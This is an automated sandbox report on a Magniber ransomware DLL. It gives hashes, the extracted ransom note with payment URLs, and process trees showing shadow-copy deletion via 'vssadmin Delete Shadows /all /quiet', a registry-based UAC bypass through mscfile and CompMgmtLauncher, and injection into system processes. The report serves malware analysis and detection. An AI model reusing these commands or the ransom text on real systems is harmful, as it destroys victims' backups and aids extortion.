magniber | 10e1b47731018be0b25fb40a32f85ac586f5cbe3fb57450818ddec6bafa7d618

Analysis

max time kernel
120s
max time network
144s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
16-07-2024 17:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4f66a5b1bb80abbe07697409267d28f5_JaffaCakes118.dll
Size

38KB
MD5

4f66a5b1bb80abbe07697409267d28f5
SHA1

c9e4bf287498a31f75660c9935b80c6eb4082fc8
SHA256

10e1b47731018be0b25fb40a32f85ac586f5cbe3fb57450818ddec6bafa7d618
SHA512

5eedcca7ee841997de04204a2becf00301d54e9970d4e28a4ef4aa0156f00af85eeb0a31e974238644d24c33c042bfa040451a9d0dcb97750c632e9c9cd306b8
SSDEEP

768:WgXItQkVssHyWby4FHCStRCGm45ah7soezD3v7h+SHU0GntxVbFe6Eg:WgXP+vniOgGmyaa35Hsxat

Score

10^/10

magniber defense_evasion execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt婍

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://b4b04a686e10b470eaitmptmni.pmaev7tzx2wapvo7wgqoaljngomjzzs3d4t53jctdq5cs5imrzjhcgid.onion/aitmptmni Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://b4b04a686e10b470eaitmptmni.uscatch.club/aitmptmni http://b4b04a686e10b470eaitmptmni.roomsum.xyz/aitmptmni http://b4b04a686e10b470eaitmptmni.flyput.site/aitmptmni http://b4b04a686e10b470eaitmptmni.knewago.quest/aitmptmni Note! These are temporary addresses! They will be available for a limited amount of time! ?�

URLs

http://b4b04a686e10b470eaitmptmni.pmaev7tzx2wapvo7wgqoaljngomjzzs3d4t53jctdq5cs5imrzjhcgid.onion/aitmptmni

http://b4b04a686e10b470eaitmptmni.uscatch.club/aitmptmni

http://b4b04a686e10b470eaitmptmni.roomsum.xyz/aitmptmni

http://b4b04a686e10b470eaitmptmni.flyput.site/aitmptmni

http://b4b04a686e10b470eaitmptmni.knewago.quest/aitmptmni

Signatures

Detect magniber ransomware 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2368-0-0x0000000001F90000-0x00000000022CA000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

vssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2664	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2720	2920	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2896	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1544	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2496	2920	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1656	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2996	2920	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	864	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	2920	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2392	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	864	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1564	2920	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	2920	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	2920	vssadmin.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (93) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 2368 set thread context of 1108	2368	rundll32.exe	taskhost.exe
PID 2368 set thread context of 1164	2368	rundll32.exe	Dwm.exe
PID 2368 set thread context of 1220	2368	rundll32.exe	Explorer.EXE
PID 2368 set thread context of 1396	2368	rundll32.exe	DllHost.exe

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2664	vssadmin.exe
2896	vssadmin.exe
864	vssadmin.exe
2392	vssadmin.exe
864	vssadmin.exe
1724	vssadmin.exe
1544	vssadmin.exe
1656	vssadmin.exe
1812	vssadmin.exe
1596	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{552A34E1-439B-11EF-A6B8-D6EBA8958965} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "427313857"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043174f1aa2314a47aa677ebd5ad1f6c700000000020000000000106600000001000020000000efa62423e5e9653a3bd7b18c5278cc3afc64a23844e5410ba519ed5f75bc919e000000000e800000000200002000000075467dc55d35ba72a876f39d71ab22c6bb6535fc602ad191a4d45f0a0663675320000000ba02323123c6f3017397c25180c668e0ca75548c41fdff43b307c4701457240d40000000b273b8bc7c8a6e31c1e7b4209ed40dbb524658c445f71f2b8edb5846387c8754720d042449426f78d0a45f06bd8d2df2a15919901a917b7bd5ed9d9fedaaa8a5	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 907c5c2ba8d7da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043174f1aa2314a47aa677ebd5ad1f6c700000000020000000000106600000001000020000000a0c3ff32c314d136222d44862439482a81211d85091e29d5fae8c843b0f018ce000000000e80000000020000200000001fe3253e51bdf6c39f82fe6f30733807a1b00d9d86991f55621271ca812ca41790000000b480f9e5c0d570897674e63581e3accd9ebbe5a973b4b37c16874abd8157d08562ea4cfefa7b6260058e27dd2a59275d63023a964ae8bfa384d8fcc2dff4d19c7f85a2adc1fa3fded24764dc0639ff21a439743519d3e316631216207f49b1ba3e2e917755faee34bd9b4ae03d3947a676af181acff5b57c8fe37bc8423d468413d1e45571ea55692e13a12414bcd7d34000000087528ceacc867b6ad91a9e1408335466efa968795ed1ff532b574e1a66fd14e6e7c54a12d3d7468d7a6727256d36bfb8c4a2c9c58667c69b0a536c616cc691ed	iexplore.exe

Modifies registry class 13 IoCs

Processes:

DllHost.exerundll32.exetaskhost.exeExplorer.EXEDwm.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\mscfile\shell\open\command	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

804 notepad.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid process

2368 rundll32.exe
2368 rundll32.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

rundll32.exe

pid process

2368 rundll32.exe
2368 rundll32.exe
2368 rundll32.exe
2368 rundll32.exe

pid	process
804	notepad.exe

pid	process
2368	rundll32.exe
2368	rundll32.exe

pid	process
2368	rundll32.exe
2368	rundll32.exe
2368	rundll32.exe
2368	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEwmic.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1752	wmic.exe
Token: SeSecurityPrivilege	1752	wmic.exe
Token: SeTakeOwnershipPrivilege	1752	wmic.exe
Token: SeLoadDriverPrivilege	1752	wmic.exe
Token: SeSystemProfilePrivilege	1752	wmic.exe
Token: SeSystemtimePrivilege	1752	wmic.exe
Token: SeProfSingleProcessPrivilege	1752	wmic.exe
Token: SeIncBasePriorityPrivilege	1752	wmic.exe
Token: SeCreatePagefilePrivilege	1752	wmic.exe
Token: SeBackupPrivilege	1752	wmic.exe
Token: SeRestorePrivilege	1752	wmic.exe
Token: SeShutdownPrivilege	1752	wmic.exe
Token: SeDebugPrivilege	1752	wmic.exe
Token: SeSystemEnvironmentPrivilege	1752	wmic.exe
Token: SeRemoteShutdownPrivilege	1752	wmic.exe
Token: SeUndockPrivilege	1752	wmic.exe
Token: SeManageVolumePrivilege	1752	wmic.exe
Token: 33	1752	wmic.exe
Token: 34	1752	wmic.exe
Token: 35	1752	wmic.exe
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1596	WMIC.exe
Token: SeSecurityPrivilege	1596	WMIC.exe
Token: SeTakeOwnershipPrivilege	1596	WMIC.exe
Token: SeLoadDriverPrivilege	1596	WMIC.exe
Token: SeSystemProfilePrivilege	1596	WMIC.exe
Token: SeSystemtimePrivilege	1596	WMIC.exe
Token: SeProfSingleProcessPrivilege	1596	WMIC.exe
Token: SeIncBasePriorityPrivilege	1596	WMIC.exe
Token: SeCreatePagefilePrivilege	1596	WMIC.exe
Token: SeBackupPrivilege	1596	WMIC.exe
Token: SeRestorePrivilege	1596	WMIC.exe
Token: SeShutdownPrivilege	1596	WMIC.exe
Token: SeDebugPrivilege	1596	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1596	WMIC.exe
Token: SeRemoteShutdownPrivilege	1596	WMIC.exe
Token: SeUndockPrivilege	1596	WMIC.exe
Token: SeManageVolumePrivilege	1596	WMIC.exe
Token: 33	1596	WMIC.exe
Token: 34	1596	WMIC.exe
Token: 35	1596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1752	wmic.exe
Token: SeSecurityPrivilege	1752	wmic.exe
Token: SeTakeOwnershipPrivilege	1752	wmic.exe
Token: SeLoadDriverPrivilege	1752	wmic.exe
Token: SeSystemProfilePrivilege	1752	wmic.exe
Token: SeSystemtimePrivilege	1752	wmic.exe
Token: SeProfSingleProcessPrivilege	1752	wmic.exe
Token: SeIncBasePriorityPrivilege	1752	wmic.exe
Token: SeCreatePagefilePrivilege	1752	wmic.exe
Token: SeBackupPrivilege	1752	wmic.exe
Token: SeRestorePrivilege	1752	wmic.exe
Token: SeShutdownPrivilege	1752	wmic.exe
Token: SeDebugPrivilege	1752	wmic.exe
Token: SeSystemEnvironmentPrivilege	1752	wmic.exe
Token: SeRemoteShutdownPrivilege	1752	wmic.exe
Token: SeUndockPrivilege	1752	wmic.exe
Token: SeManageVolumePrivilege	1752	wmic.exe
Token: 33	1752	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

2856 iexplore.exe
1220 Explorer.EXE
1220 Explorer.EXE
1220 Explorer.EXE
1220 Explorer.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

2856 iexplore.exe
2856 iexplore.exe
2616 IEXPLORE.EXE
2616 IEXPLORE.EXE
2616 IEXPLORE.EXE
2616 IEXPLORE.EXE
Suspicious use of UnmapMainImage 2 IoCs

Processes:

Explorer.EXE

pid process

1220 Explorer.EXE
1220 Explorer.EXE

pid	process
2856	iexplore.exe
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE

pid	process
2856	iexplore.exe
2856	iexplore.exe
2616	IEXPLORE.EXE
2616	IEXPLORE.EXE
2616	IEXPLORE.EXE
2616	IEXPLORE.EXE

pid	process
1220	Explorer.EXE
1220	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

rundll32.execmd.execmd.exeiexplore.execmd.exeCompMgmtLauncher.exetaskhost.execmd.execmd.exeCompMgmtLauncher.exeDllHost.execmd.execmd.exeCompMgmtLauncher.exeExplorer.EXE

description	pid	process	target process
PID 2368 wrote to memory of 804	2368	rundll32.exe	notepad.exe
PID 2368 wrote to memory of 804	2368	rundll32.exe	notepad.exe
PID 2368 wrote to memory of 804	2368	rundll32.exe	notepad.exe
PID 2368 wrote to memory of 888	2368	rundll32.exe	cmd.exe
PID 2368 wrote to memory of 888	2368	rundll32.exe	cmd.exe
PID 2368 wrote to memory of 888	2368	rundll32.exe	cmd.exe
PID 2368 wrote to memory of 1752	2368	rundll32.exe	wmic.exe
PID 2368 wrote to memory of 1752	2368	rundll32.exe	wmic.exe
PID 2368 wrote to memory of 1752	2368	rundll32.exe	wmic.exe
PID 2368 wrote to memory of 2680	2368	rundll32.exe	cmd.exe
PID 2368 wrote to memory of 2680	2368	rundll32.exe	cmd.exe
PID 2368 wrote to memory of 2680	2368	rundll32.exe	cmd.exe
PID 2680 wrote to memory of 1596	2680	cmd.exe	WMIC.exe
PID 2680 wrote to memory of 1596	2680	cmd.exe	WMIC.exe
PID 2680 wrote to memory of 1596	2680	cmd.exe	WMIC.exe
PID 888 wrote to memory of 2856	888	cmd.exe	iexplore.exe
PID 888 wrote to memory of 2856	888	cmd.exe	iexplore.exe
PID 888 wrote to memory of 2856	888	cmd.exe	iexplore.exe
PID 2856 wrote to memory of 2616	2856	iexplore.exe	IEXPLORE.EXE
PID 2856 wrote to memory of 2616	2856	iexplore.exe	IEXPLORE.EXE
PID 2856 wrote to memory of 2616	2856	iexplore.exe	IEXPLORE.EXE
PID 2856 wrote to memory of 2616	2856	iexplore.exe	IEXPLORE.EXE
PID 2720 wrote to memory of 684	2720	cmd.exe	CompMgmtLauncher.exe
PID 2720 wrote to memory of 684	2720	cmd.exe	CompMgmtLauncher.exe
PID 2720 wrote to memory of 684	2720	cmd.exe	CompMgmtLauncher.exe
PID 684 wrote to memory of 1628	684	CompMgmtLauncher.exe	wmic.exe
PID 684 wrote to memory of 1628	684	CompMgmtLauncher.exe	wmic.exe
PID 684 wrote to memory of 1628	684	CompMgmtLauncher.exe	wmic.exe
PID 1108 wrote to memory of 1492	1108	taskhost.exe	wmic.exe
PID 1108 wrote to memory of 1492	1108	taskhost.exe	wmic.exe
PID 1108 wrote to memory of 1492	1108	taskhost.exe	wmic.exe
PID 1108 wrote to memory of 2060	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 2060	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 2060	1108	taskhost.exe	cmd.exe
PID 2060 wrote to memory of 1608	2060	cmd.exe	WMIC.exe
PID 2060 wrote to memory of 1608	2060	cmd.exe	WMIC.exe
PID 2060 wrote to memory of 1608	2060	cmd.exe	WMIC.exe
PID 2496 wrote to memory of 440	2496	cmd.exe	CompMgmtLauncher.exe
PID 2496 wrote to memory of 440	2496	cmd.exe	CompMgmtLauncher.exe
PID 2496 wrote to memory of 440	2496	cmd.exe	CompMgmtLauncher.exe
PID 440 wrote to memory of 1572	440	CompMgmtLauncher.exe	wmic.exe
PID 440 wrote to memory of 1572	440	CompMgmtLauncher.exe	wmic.exe
PID 440 wrote to memory of 1572	440	CompMgmtLauncher.exe	wmic.exe
PID 1396 wrote to memory of 3000	1396	DllHost.exe	wmic.exe
PID 1396 wrote to memory of 3000	1396	DllHost.exe	wmic.exe
PID 1396 wrote to memory of 3000	1396	DllHost.exe	wmic.exe
PID 1396 wrote to memory of 3012	1396	DllHost.exe	cmd.exe
PID 1396 wrote to memory of 3012	1396	DllHost.exe	cmd.exe
PID 1396 wrote to memory of 3012	1396	DllHost.exe	cmd.exe
PID 3012 wrote to memory of 1380	3012	cmd.exe	WMIC.exe
PID 3012 wrote to memory of 1380	3012	cmd.exe	WMIC.exe
PID 3012 wrote to memory of 1380	3012	cmd.exe	WMIC.exe
PID 2996 wrote to memory of 1736	2996	cmd.exe	CompMgmtLauncher.exe
PID 2996 wrote to memory of 1736	2996	cmd.exe	CompMgmtLauncher.exe
PID 2996 wrote to memory of 1736	2996	cmd.exe	CompMgmtLauncher.exe
PID 1736 wrote to memory of 2740	1736	CompMgmtLauncher.exe	wmic.exe
PID 1736 wrote to memory of 2740	1736	CompMgmtLauncher.exe	wmic.exe
PID 1736 wrote to memory of 2740	1736	CompMgmtLauncher.exe	wmic.exe
PID 1220 wrote to memory of 232	1220	Explorer.EXE	wmic.exe
PID 1220 wrote to memory of 232	1220	Explorer.EXE	wmic.exe
PID 1220 wrote to memory of 232	1220	Explorer.EXE	wmic.exe
PID 1220 wrote to memory of 3056	1220	Explorer.EXE	cmd.exe
PID 1220 wrote to memory of 3056	1220	Explorer.EXE	cmd.exe
PID 1220 wrote to memory of 3056	1220	Explorer.EXE	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1492
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1608

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
PID:1164
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2836
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1812
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2368

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\4f66a5b1bb80abbe07697409267d28f5_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\Users\Public\readme.txt?
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:804
- - C:\Windows\system32\cmd.exe
    cmd /c "start http://b4b04a686e10b470eaitmptmni.uscatch.club/aitmptmni^&2^&44534954^&93^&379^&12"?
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:888
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://b4b04a686e10b470eaitmptmni.uscatch.club/aitmptmni&2&44534954&93&379&12?
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2856
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2856 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2616
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1596
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:232
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:3056
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2492

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\system32\wbem\wmic.exe
